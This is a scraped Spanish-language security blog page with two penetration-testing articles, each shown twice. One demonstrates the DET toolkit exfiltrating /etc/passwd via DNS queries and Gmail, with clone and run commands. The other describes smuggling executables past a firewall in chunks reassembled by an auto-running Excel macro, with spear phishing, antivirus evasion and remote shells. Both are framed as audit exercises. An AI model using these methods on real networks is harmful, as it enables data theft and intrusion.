Showing posts with label empresa. Show all posts
Showing posts with label empresa. Show all posts
Tuesday, November 15, 2016
Data Exfiltration Toolkit DET Filtrando documentos fuera de la empresa por canales encubiertos estego
Data Exfiltration Toolkit DET Filtrando documentos fuera de la empresa por canales encubiertos estego
Cuando un pentester tiene que realizar una prueba de Data Exfiltration dentro de una auditoría, ésta puede ser una tarea realmente divertida. En algunos procesos de hacking ético se solicita al proveedor que intente sacar documentos del interior de una organización con el objetivo de comprobar que los sistemas implantados en la empresa para evitar la fuga de información por parte de un empleado funcionan. Lógicamente, el atacante siempre tendrá cierta ventaja, ya que hoy en día existen diversos canales y vías para extraer información, y no pensemos solamente en el mundo físico con los pendrives.
La encapsulación de información dentro de protocolos comunes como TCP, o el uso de canales encubierto ocultando ficheros en ficheros, usando conexiones vía Radio Frecuencia, GSM o Calor, e incluso los SSID de una WiFi, pueden ser las vías más utilizadas para extraer información de una organización. Y por ello existe toda una disciplina de estudio centrada en la esteganografía y el estegoanálisis.
DET: Data Exfiltration Toolkit
DET, Data Exfiltration Toolkit, es una herramienta que permite realizar Data Exfiltration utilizando uno o varios canales a la vez. La idea que está detrás de DET es la de disponer de una herramienta genérica que facilite encapsular información dentro de un protocolo o utilizar servicios de terceros, por ejemplo Gmail o Twitter, para extraer la información. DET puede ser descargado desde su sitio web en Github, dónde además podemos encontrar diversas pruebas de concepto muy interesantes.
En el artículo de hoy realizaremos una prueba de concepto de esta herramienta para ver cómo se puede sacar información de una red a través del uso de protocolos comunes. Para descargar DET se deben ejecutar estas instrucciones:
PoC 1: Enviando un fichero a través del protocolo DNS con DET
Las opciones que DET proporciona son realmente interesantes. Si se echa un vistazo rápido a las diversas opciones se puede observar las siguientes:
Lo primero es hablar del fichero config.json. DET trae un json de prueba denominado config-sample.json, con el que se puede ver los diferentes protocolos, denominados plugins en este contexto, y las diferentes configuraciones de estos.
Como se puede visualizar en la imagen, en el caso del protocolo DNS, se puede utilizar haciendo peticiones al dominio pablo.com, a la dirección IP 192.168.56.103 y el puerto 53. El dominio, en este caso, se utiliza a modo de clave. Otra parte interesante del archivo config.json es el atributo AES_KEY, dónde se indica el valor de la clave AES que deben conocer tanto servidor como cliente para cifrar el contenido. Además, se puede ver un randomize entre el número de peticiones enviados, para intentar evitar que elementos de seguridad bloqueen o detecten el patrón.
Ahora, se procede a configurar el servidor en una máquina Linux. Para este caso sencillo, se utilizan los parámetros L para indicar que el modo de ejecución es servidor, es decir, se recibirá el fichero robado en esta máquina. Se utiliza el parámetro c para indicar la configuración de los plugins y cuál es la clave de cifrado utilizada. Y, por último, se añade el parámetro p y se indica dns. Con esto se le dice al servidor que solo configure el plugin de DNS, que será el protocolo utilizado para enviar la información.
Ahora, el cliente empleará el protocolo DNS para realizar queries del siguiente modo:
Si analizamos con Wireshark la red podemos ver un gran número de consultas repartidas en el tiempo y por bloques de bytes. El truco en este caso está en los subdominios utilizados junto al dominio pablo.com. En la siguiente imagen se puede ver una captura de queries que se envían hacia al servidor, cada subdominio es un trozo de fichero que el servidor se encargará de descifrar y procesar.
Una vez todo el fichero es enviado hasta el servidor, éste se encarga de recuperarlo, unirlo y descifrarlo. El resultado es el fichero original, pero ya fuera de los dominios de la organización. Por supuesto, existen medidas para detectar este tipo de comportamientos, pero son medidas de seguridad más avanzadas que las comunes.
La utilización de protocolos para encapsular información y poder sacarla de una organización es una vía viable y muy efectiva, aunque por supuesto el éxito de la operación dependerá del tiempo necesario y las medidas de seguridad de las que conste la empresa.
El fichero queda almacenado en el servidor con el nombre [original].[fecha]. Tal y como se puede visualizar en la imagen, se obtiene el fichero passwd original y totalmente legible para cualquier usuario del exterior. El robo y la extracción de información del interior de la organización ha sido llevado a cabo de forma silenciosa.
PoC 2: Robando información a través de la cuenta de Gmail
En esta segunda prueba de concepto el escenario es muy similar. La única diferencia es que el cliente se conectará al puerto 587 de Gmail para dejar en su bandeja de entrada distintos mensajes de e-mail con trozos cifrados de archivo y codeados en Base64. Hay que modificar el fichero config.json e indicar el usuario y contraseña de la cuenta de Gmail.
Una vez realizado este paso hay que lanzar el servidor con la configuración adecuada de Gmail. Para ello se indica con el parámetro p que el plugin a utilizar es el de Gmail y sólo ese.
El cliente se invoca de forma similar a cómo se hizo en la prueba de concepto anterior, salvo que la configuración del json ha cambiado en el plugin de Gmail y que se indica que solo se quiere utilizar el plugin de Gmail. Es bastante interesante ver cómo se indica que se envían e-mails a uno mismo para ir dejando la información en los distintos correos electrónicos.
Si se entrase a través del navegador a la cuenta de Gmail utilizada para este ejercicio se podría ver cómo hay diferentes correos electrónicos dónde se puede ver un contenido en base64, el cual son trozos de ficheros.
Esta vía de Data Exfiltration es una manera sencilla y limpia utilizando un tercero de confianza, como puede ser Gmail, para extraer dicha información. ¿Y en tu empresa? ¿Qué medidas tienes para evitar este robo de información o extracción de información sensible corporativa? Hay que tener en cuenta que a veces no basta con sacar el fichero, ya que este puede llevar un "callback home" que avise cada vez que se abre de la ubicación desde dónde ha sido abierto, así que no solo hay que robarlo, hay que conseguir abrirlo sin que se enteren, pero de eso ya hablaremos en otro momento.
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking" y Pentesting con Powershell
![]() |
| Figura 1: Data Exfiltration Tookit (DET) Filtrando documentos fuera de la empresa por canales encubiertos |
La encapsulación de información dentro de protocolos comunes como TCP, o el uso de canales encubierto ocultando ficheros en ficheros, usando conexiones vía Radio Frecuencia, GSM o Calor, e incluso los SSID de una WiFi, pueden ser las vías más utilizadas para extraer información de una organización. Y por ello existe toda una disciplina de estudio centrada en la esteganografía y el estegoanálisis.
DET: Data Exfiltration Toolkit
DET, Data Exfiltration Toolkit, es una herramienta que permite realizar Data Exfiltration utilizando uno o varios canales a la vez. La idea que está detrás de DET es la de disponer de una herramienta genérica que facilite encapsular información dentro de un protocolo o utilizar servicios de terceros, por ejemplo Gmail o Twitter, para extraer la información. DET puede ser descargado desde su sitio web en Github, dónde además podemos encontrar diversas pruebas de concepto muy interesantes.
En el artículo de hoy realizaremos una prueba de concepto de esta herramienta para ver cómo se puede sacar información de una red a través del uso de protocolos comunes. Para descargar DET se deben ejecutar estas instrucciones:
git clone https://github.com/sensepost/DET.gitEsta última instrucción descargará e instalará todas las dependencias referentes a Python, que es el lenguaje en el que DET está implementado.
pip install r requirements.txt user.
PoC 1: Enviando un fichero a través del protocolo DNS con DET
Las opciones que DET proporciona son realmente interesantes. Si se echa un vistazo rápido a las diversas opciones se puede observar las siguientes:
La posibilidad de configurar un fichero dónde se indican los parámetros que tanto el cliente y servidor deben conocer. Por ejemplo, el contenido se cifra con AES-256 a través de una clave que se indica en el fichero de configuración.
La opción de extraer un directorio o un fichero en concreto.
La posibilidad de indicar el plugin o listado de éstos que se quiere utilizar. Esto es útil si no queremos lanzar todos los plugins.
Los plugins disponibles en estas primeras versiones de DET son: HTTP, Google Docs, DNS, Gmail, TCP, UDP, Twitter o el protocolo ICMP.
Además, existen unos scripts escritos para Powershell para llevar a cabo este tipo de técnicas desde entornos Microsoft.DET proporciona dos roles diferenciados. La máquina que se encuentre en el exterior de la organización hará las funciones de servidor y será el que espere recibir el fichero robado de la organización. Por otro lado, el rol cliente será el encargado de generar la conexión desde el interior y utilizar los diversos plugins para enviar el fichero o carpeta hacia el servidor.
Lo primero es hablar del fichero config.json. DET trae un json de prueba denominado config-sample.json, con el que se puede ver los diferentes protocolos, denominados plugins en este contexto, y las diferentes configuraciones de estos.
![]() |
| Figura 2: Configuración de DET |
Como se puede visualizar en la imagen, en el caso del protocolo DNS, se puede utilizar haciendo peticiones al dominio pablo.com, a la dirección IP 192.168.56.103 y el puerto 53. El dominio, en este caso, se utiliza a modo de clave. Otra parte interesante del archivo config.json es el atributo AES_KEY, dónde se indica el valor de la clave AES que deben conocer tanto servidor como cliente para cifrar el contenido. Además, se puede ver un randomize entre el número de peticiones enviados, para intentar evitar que elementos de seguridad bloqueen o detecten el patrón.
| Figura 3: Configuración del patrón de cambio |
Ahora, se procede a configurar el servidor en una máquina Linux. Para este caso sencillo, se utilizan los parámetros L para indicar que el modo de ejecución es servidor, es decir, se recibirá el fichero robado en esta máquina. Se utiliza el parámetro c para indicar la configuración de los plugins y cuál es la clave de cifrado utilizada. Y, por último, se añade el parámetro p y se indica dns. Con esto se le dice al servidor que solo configure el plugin de DNS, que será el protocolo utilizado para enviar la información.
| Figura 4: Configuración del listener que recibirá los paquetes de datos |
Ahora, el cliente empleará el protocolo DNS para realizar queries del siguiente modo:
- Query 1. [Contenido Cifrado].pablo.com.Para configurar esto se debe ejecutar la siguiente instrucción:
- Query 2. [Contenido Cifrado].pablo.com
-
- Query N. [Contenido Cifrado].pablo.com.
python det.py c ./config.json f [fichero a extraer de la organización] p dns.
| Figura 5: Envío del fichero /etc/passwd |
Si analizamos con Wireshark la red podemos ver un gran número de consultas repartidas en el tiempo y por bloques de bytes. El truco en este caso está en los subdominios utilizados junto al dominio pablo.com. En la siguiente imagen se puede ver una captura de queries que se envían hacia al servidor, cada subdominio es un trozo de fichero que el servidor se encargará de descifrar y procesar.
| Figura 6: Consultas al servidor DNS vistas con Wireshark |
Una vez todo el fichero es enviado hasta el servidor, éste se encarga de recuperarlo, unirlo y descifrarlo. El resultado es el fichero original, pero ya fuera de los dominios de la organización. Por supuesto, existen medidas para detectar este tipo de comportamientos, pero son medidas de seguridad más avanzadas que las comunes.
| Figura 7: Fichero totalmente recibido |
La utilización de protocolos para encapsular información y poder sacarla de una organización es una vía viable y muy efectiva, aunque por supuesto el éxito de la operación dependerá del tiempo necesario y las medidas de seguridad de las que conste la empresa.
| Figura 8: El fichero ha sido exfiltrado y recompuesto completamente |
El fichero queda almacenado en el servidor con el nombre [original].[fecha]. Tal y como se puede visualizar en la imagen, se obtiene el fichero passwd original y totalmente legible para cualquier usuario del exterior. El robo y la extracción de información del interior de la organización ha sido llevado a cabo de forma silenciosa.
PoC 2: Robando información a través de la cuenta de Gmail
En esta segunda prueba de concepto el escenario es muy similar. La única diferencia es que el cliente se conectará al puerto 587 de Gmail para dejar en su bandeja de entrada distintos mensajes de e-mail con trozos cifrados de archivo y codeados en Base64. Hay que modificar el fichero config.json e indicar el usuario y contraseña de la cuenta de Gmail.
Una vez realizado este paso hay que lanzar el servidor con la configuración adecuada de Gmail. Para ello se indica con el parámetro p que el plugin a utilizar es el de Gmail y sólo ese.
| Figura 9: Recepción del fichero vía Gmail |
El cliente se invoca de forma similar a cómo se hizo en la prueba de concepto anterior, salvo que la configuración del json ha cambiado en el plugin de Gmail y que se indica que solo se quiere utilizar el plugin de Gmail. Es bastante interesante ver cómo se indica que se envían e-mails a uno mismo para ir dejando la información en los distintos correos electrónicos.
| Figura 10: Envío de fichero desde el cliente vía Gmail |
Si se entrase a través del navegador a la cuenta de Gmail utilizada para este ejercicio se podría ver cómo hay diferentes correos electrónicos dónde se puede ver un contenido en base64, el cual son trozos de ficheros.
| Figura 11: Mensajes de correo dejados en Gmail con trozos Base64 del fichero exfiltrado |
Esta vía de Data Exfiltration es una manera sencilla y limpia utilizando un tercero de confianza, como puede ser Gmail, para extraer dicha información. ¿Y en tu empresa? ¿Qué medidas tienes para evitar este robo de información o extracción de información sensible corporativa? Hay que tener en cuenta que a veces no basta con sacar el fichero, ya que este puede llevar un "callback home" que avise cada vez que se abre de la ubicación desde dónde ha sido abierto, así que no solo hay que robarlo, hay que conseguir abrirlo sin que se enteren, pero de eso ya hablaremos en otro momento.
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking" y Pentesting con Powershell
Sigue Un informático en el lado del mal - Google+ RSS 0xWord

Available link for download
Labels:
canales,
data,
de,
det,
documentos,
empresa,
encubiertos,
estego,
exfiltration,
filtrando,
fuera,
la,
por,
toolkit
Friday, October 7, 2016
Cómo infiltrar malware o herramientas de hacking en una empresa usando Excel
Cómo infiltrar malware o herramientas de hacking en una empresa usando Excel
Últimamente, con la proliferación de malware del tipo ransomware, las empresas que no tenían ya bloqueada la descarga de ficheros ejecutables en su Firewall o Proxy, la han bloqueado. La medida es efectiva por la mecánica de infección de este tipo de malware, que en muchos casos implica la descarga de un fichero ejecutable que es el que se encarga de cifrar la valiosa información del usuario y de la empresa. Sin embargo, esta medida no tiene porque ser eficaz frente a un ataque dirigido y hecho a medida como suelen ser los APT, como vamos a ver.
Bloquear la descarga de ejecutables en el firewall de perímetro por el que los usuarios de la empresa navegan en Internet es una medida a tener en cuenta por los responsables de seguridad dentro de la política de Defensa en Profundidad de la red, pero una vez bloqueada esta descarga de ficheros, inevitablemente surgen preguntas. ¿Puede un atacante saltársela fácilmente? ¿Y si se salta, es posible implementar de forma sencilla un ataque automatizado?
HTTPs Inspection: Canal cifrado o canal abierto
Supongo que hay varios enfoques para conseguir saltarse la detección de un fichero EXE por parte del firewall en cuestión. Uno sería, por ejemplo, cifrar el canal de comunicación de las descarga punto a punto para que no se pueda analizar ese tráfico, pero desde hace años los sistemas de navegación empresariales pueden implementar medidas de Bridging HTTPs - como implementa desde hace años Forefront TMG - para inspeccionar el tráfico de descarga que hacen los clientes. Es decir, los clientes para poder navegar por Internet necesitan configurar un certificado raíz del firewall y este hace de man in the middle para inspeccionar tráfico HTTPs.
En esta prueba de concepto, vamos a intentar engañar al firewall para que la descarga de los ejecutables no sea considerada como tal, aún cuando el tráfico pueda ser inspeccionado porque venga por HTTP o porque se esté haciendo una inspección HTTPs.
Infiltrando binarios por partes
Por empezar por algún sitio me voy a centrar en los archivos EXE y como solución perimetral un firewall con inspección de tráfico y bloqueo de ficheros. Lo primero es averiguar qué partes del ficheros son la firma de un EXE para el firewall. Esto puede ser solo la cabecera inicial del binario con los Magic Numbers que se buscan, o algo mucho más elaborado donde se comprueben más partes del binario.
Como primera prueba empírica, vamos a partirlo en dos y ver si una, ninguna o las dos partes son detectadas por el firewall y lo bloquea o lo deja pasar. El resultado que se obtiene es que el primer trozo, al descargarlo, es considerado como un EXE y el segundo no:
Ya tenemos pistas. En el primer trozo del fichero EXE se encuentra la firma que se busca como patrón para detectarlo y bloquear la descarga. ¿Será un patrón? Si lo es, ¿se podría trocear el fichero en partes lo suficientemente pequeñas para que ese patrón quedara diluido? La idea es que si lo troceamos lo suficiente, podríamos llegar a ofuscarle la firma. Después de algunas iteraciones jugando con el tamaño de las partes del archivo, con 29 partes de 200 bytes del principio del EXE y otra parte más con el resto del fichero, llegamos a un escenario como éste.
Una vez subidas al servidor web de turno se intentan descargar y todas bajan. Hemos conseguido descargar un EXE estando prohibido. Ahora solo queda volver a juntar las partes para conseguir reconstruir nuestra "herramienta de hacking" Putty.
Automatizando la infiltración del binario con Excel
Ahora queda la segunda parte, en la que vamos a intentar automatizar el proceso de recomponerlo. Para ello vamos a utilizar la potencia de Excel y sus macros - que ya vimos que un atacante se puede llevar uno la base de datos completa de la empresa con solo habilitar las macros - y que se han puesto de moda últimamente otra vez. Solo hay que programar una macro que descargue las partes del EXE de la web donde estén colgados y que después los junte otra vez. Ese archivo Excel tendría que descargar las partes, después cargar esas partes en orden en un string y después escribir ese string en un archivo binario que nivel de código no es muy difícil. Y usar después la función Auto_Open(), por ejemplo, para que se ejecute todo simplemente abriendo el Excel.
Con solo abrir el Excel - y conseguir que se ejecute la macro - el fichero Excel descarga todas las partes del servidor desde la máquina interna de la red detrás del firewall, las une y después ejecuta el binario resultante.
Protección en el end-point
Ya hemos conseguido que el fichero Excel con macros se baje un binario saltándose el bloqueo de ficheros EXE en el firewall. La siguiente pregunta es si un fichero de estas características será muy llamativo para las protecciones de end-point como los antivirus. Para la mayoría no es significativo, pero además el código se puede mejorar y ofuscar en diferentes iteraciones hasta que se evada el motor antivirus en concreto que tenga la empresa objetivo de este ataque.
Un posible problema es que el usuario si puede, tiene que habilitar las macros para que esto funcione, pero con una campaña de Spear Phishing contra los empleados de la empresa objetivo con este fichero Excel adjunto ¿estaríais completamente seguros de que ningún usuario le va a dar a activar macros? Por supuesto, existen políticas a nivel de Active Directory para que las macros vayan firmadas, pero esto ya vimos hace tiempo que se puede saltar si el usuario de Excel quiere o cae engañado para hacerlo, con las técnicas de "Hacking Remote Apps: Jailbreaking con Excel".
Owning con Metasploit
Ahora imaginad que en vez de el Putty el archivo fuera un script de Phyton compilado a EXE con un cliente que devolviera una shell remota a través de HTTP, o un ransomware distribuido de esta forma o directamente un Meterpreter para hacer diabluras con Metasploit, tal y como hicieron Chema Alonso y Pablo González en la conferencia del Security Innovation Day de 2014. Aquí os dejo el vídeo con el instante de tiempo de esta demo con Excel.
Figura 10: Metiendo una shell con Excel
No quiere decir este artículo que las medidas de bloqueo de ficheros EXE en los firewalls por los que se navega sean inútiles. Ni mucho menos, proporcionan una protección adecuada para evitar que el malware pueda entrar fácilmente. Pero estas medidas deben acompañarse de muchas otras. En este caso concreto hemos hecho una división del binario para evadir las firmas, pero el atacante podría haber cifrado el fichero completamente en lugar de meterlo por partes, o encontrar otra estrategia para saltarse el fichero.
Así que, dentro de la estrategia de defensa de una empresa, habría que aplicar medidas de protección a todos los niveles, y fortificar Windows correctamente, incluidas las opciones de Excel. Este artículo, solo es un ejercicio para probar cómo un APT puede acabar encontrando el camino si tiene tiempo para aprender cuáles son tus defensas y preparar un ataque diseñado especialmente para ti. No te olvides de eso.
Saludos.
Autor: Xavier Nogues García
![]() |
| Figura 1: Cómo infiltrar malware o herramientas de hacking en una empresa con Excel |
Bloquear la descarga de ejecutables en el firewall de perímetro por el que los usuarios de la empresa navegan en Internet es una medida a tener en cuenta por los responsables de seguridad dentro de la política de Defensa en Profundidad de la red, pero una vez bloqueada esta descarga de ficheros, inevitablemente surgen preguntas. ¿Puede un atacante saltársela fácilmente? ¿Y si se salta, es posible implementar de forma sencilla un ataque automatizado?
HTTPs Inspection: Canal cifrado o canal abierto
Supongo que hay varios enfoques para conseguir saltarse la detección de un fichero EXE por parte del firewall en cuestión. Uno sería, por ejemplo, cifrar el canal de comunicación de las descarga punto a punto para que no se pueda analizar ese tráfico, pero desde hace años los sistemas de navegación empresariales pueden implementar medidas de Bridging HTTPs - como implementa desde hace años Forefront TMG - para inspeccionar el tráfico de descarga que hacen los clientes. Es decir, los clientes para poder navegar por Internet necesitan configurar un certificado raíz del firewall y este hace de man in the middle para inspeccionar tráfico HTTPs.
![]() |
| Figura 2: HTTPs Inspection en Forefront TMG |
En esta prueba de concepto, vamos a intentar engañar al firewall para que la descarga de los ejecutables no sea considerada como tal, aún cuando el tráfico pueda ser inspeccionado porque venga por HTTP o porque se esté haciendo una inspección HTTPs.
Infiltrando binarios por partes
Por empezar por algún sitio me voy a centrar en los archivos EXE y como solución perimetral un firewall con inspección de tráfico y bloqueo de ficheros. Lo primero es averiguar qué partes del ficheros son la firma de un EXE para el firewall. Esto puede ser solo la cabecera inicial del binario con los Magic Numbers que se buscan, o algo mucho más elaborado donde se comprueben más partes del binario.
![]() |
| Figura 3: Primera parte del fichero EXE es detectada |
Como primera prueba empírica, vamos a partirlo en dos y ver si una, ninguna o las dos partes son detectadas por el firewall y lo bloquea o lo deja pasar. El resultado que se obtiene es que el primer trozo, al descargarlo, es considerado como un EXE y el segundo no:
![]() |
| Figura 4: La segunda parte del fichero sí es descargada |
Ya tenemos pistas. En el primer trozo del fichero EXE se encuentra la firma que se busca como patrón para detectarlo y bloquear la descarga. ¿Será un patrón? Si lo es, ¿se podría trocear el fichero en partes lo suficientemente pequeñas para que ese patrón quedara diluido? La idea es que si lo troceamos lo suficiente, podríamos llegar a ofuscarle la firma. Después de algunas iteraciones jugando con el tamaño de las partes del archivo, con 29 partes de 200 bytes del principio del EXE y otra parte más con el resto del fichero, llegamos a un escenario como éste.
![]() |
| Figura 5: Fichero dividido en 30 partes |
Una vez subidas al servidor web de turno se intentan descargar y todas bajan. Hemos conseguido descargar un EXE estando prohibido. Ahora solo queda volver a juntar las partes para conseguir reconstruir nuestra "herramienta de hacking" Putty.
![]() |
| Figura 6: Putty se ejecuta correctamente una vez reconstruido el binario |
Automatizando la infiltración del binario con Excel
Ahora queda la segunda parte, en la que vamos a intentar automatizar el proceso de recomponerlo. Para ello vamos a utilizar la potencia de Excel y sus macros - que ya vimos que un atacante se puede llevar uno la base de datos completa de la empresa con solo habilitar las macros - y que se han puesto de moda últimamente otra vez. Solo hay que programar una macro que descargue las partes del EXE de la web donde estén colgados y que después los junte otra vez. Ese archivo Excel tendría que descargar las partes, después cargar esas partes en orden en un string y después escribir ese string en un archivo binario que nivel de código no es muy difícil. Y usar después la función Auto_Open(), por ejemplo, para que se ejecute todo simplemente abriendo el Excel.
![]() |
| Figura 7: A partir del Excel se descargan las partes y se monta el archivo final |
Con solo abrir el Excel - y conseguir que se ejecute la macro - el fichero Excel descarga todas las partes del servidor desde la máquina interna de la red detrás del firewall, las une y después ejecuta el binario resultante.
![]() |
| Figura 8: Ejecución de Putty con solo ejecutar la macro del fichero Excel |
Protección en el end-point
Ya hemos conseguido que el fichero Excel con macros se baje un binario saltándose el bloqueo de ficheros EXE en el firewall. La siguiente pregunta es si un fichero de estas características será muy llamativo para las protecciones de end-point como los antivirus. Para la mayoría no es significativo, pero además el código se puede mejorar y ofuscar en diferentes iteraciones hasta que se evada el motor antivirus en concreto que tenga la empresa objetivo de este ataque.
![]() |
| Figura 9: El fichero Excel no llama la atención de muchos Antivirus |
Un posible problema es que el usuario si puede, tiene que habilitar las macros para que esto funcione, pero con una campaña de Spear Phishing contra los empleados de la empresa objetivo con este fichero Excel adjunto ¿estaríais completamente seguros de que ningún usuario le va a dar a activar macros? Por supuesto, existen políticas a nivel de Active Directory para que las macros vayan firmadas, pero esto ya vimos hace tiempo que se puede saltar si el usuario de Excel quiere o cae engañado para hacerlo, con las técnicas de "Hacking Remote Apps: Jailbreaking con Excel".
Owning con Metasploit
Ahora imaginad que en vez de el Putty el archivo fuera un script de Phyton compilado a EXE con un cliente que devolviera una shell remota a través de HTTP, o un ransomware distribuido de esta forma o directamente un Meterpreter para hacer diabluras con Metasploit, tal y como hicieron Chema Alonso y Pablo González en la conferencia del Security Innovation Day de 2014. Aquí os dejo el vídeo con el instante de tiempo de esta demo con Excel.
Figura 10: Metiendo una shell con Excel
No quiere decir este artículo que las medidas de bloqueo de ficheros EXE en los firewalls por los que se navega sean inútiles. Ni mucho menos, proporcionan una protección adecuada para evitar que el malware pueda entrar fácilmente. Pero estas medidas deben acompañarse de muchas otras. En este caso concreto hemos hecho una división del binario para evadir las firmas, pero el atacante podría haber cifrado el fichero completamente en lugar de meterlo por partes, o encontrar otra estrategia para saltarse el fichero.
Así que, dentro de la estrategia de defensa de una empresa, habría que aplicar medidas de protección a todos los niveles, y fortificar Windows correctamente, incluidas las opciones de Excel. Este artículo, solo es un ejercicio para probar cómo un APT puede acabar encontrando el camino si tiene tiempo para aprender cuáles son tus defensas y preparar un ataque diseñado especialmente para ti. No te olvides de eso.
Saludos.
Autor: Xavier Nogues García
Sigue Un informático en el lado del mal - Google+ RSS 0xWord

Available link for download
Subscribe to:
Posts (Atom)










